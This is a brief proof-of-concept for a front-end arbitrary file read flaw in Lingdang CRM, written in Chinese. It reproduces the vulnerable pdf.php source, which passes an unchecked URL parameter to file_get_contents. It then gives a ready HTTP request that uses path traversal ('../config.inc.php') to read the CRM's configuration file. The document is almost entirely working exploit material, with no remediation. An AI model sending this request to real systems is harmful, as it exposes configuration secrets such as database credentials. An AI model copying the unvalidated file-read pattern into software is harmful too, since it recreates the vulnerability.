灵当CRM存在前台任意文件读取漏洞 PoC

<?php//预览PDF的文件//$url = "https://81mis.com/kfbcrm/a.pdf";$url = $_REQUEST['url'];$root_dir= dirname(dirname(__FILE__)).'/'; //$url_arr=explode('/dataCache/',$url); //$filepath="dataCache/".$url_arr[1]; if(stripos($url,'/datacache/')===false){    if(stripos($url,'/storage/')===false){        $filepath = $url;//cos文件        $file =file_get_contents($filepath);    }else{        $url_arr=explode('/storage/',$url);        $filepath="storage/".$url_arr[1];        $file =file_get_contents($root_dir.$filepath);    }}else{      $url_arr=explode('/dataCache/',$url);    $filepath="dataCache/".$url_arr[1];    $file =file_get_contents($root_dir.$filepath);} //$file=_pdffile_get_contents($url); //$file =file_get_contents($root_dir.$filepath);// //_file_get_contents($url);echo $file;function _pdffile_get_contents($s) {  $ch = curl_init($s);  curl_setopt($ch, CURLOPT_HEADER, 0);  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);  curl_setopt($ch, CURLOPT_TIMEOUT, 0);  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // 对认证证书来源的检查  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // 从证书中检查SSL加密算法是否存在  $buffer = curl_exec($ch);  //echo 'Curl error: ' . curl_error($ch);  curl_close($ch);  if ($buffer === false || empty($buffer)) {    $ret = "";  } else {    $ret = $buffer;  }  return $ret;}

GET /crm/data/pdf.php?url=../config.inc.php HTTP/1.1Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close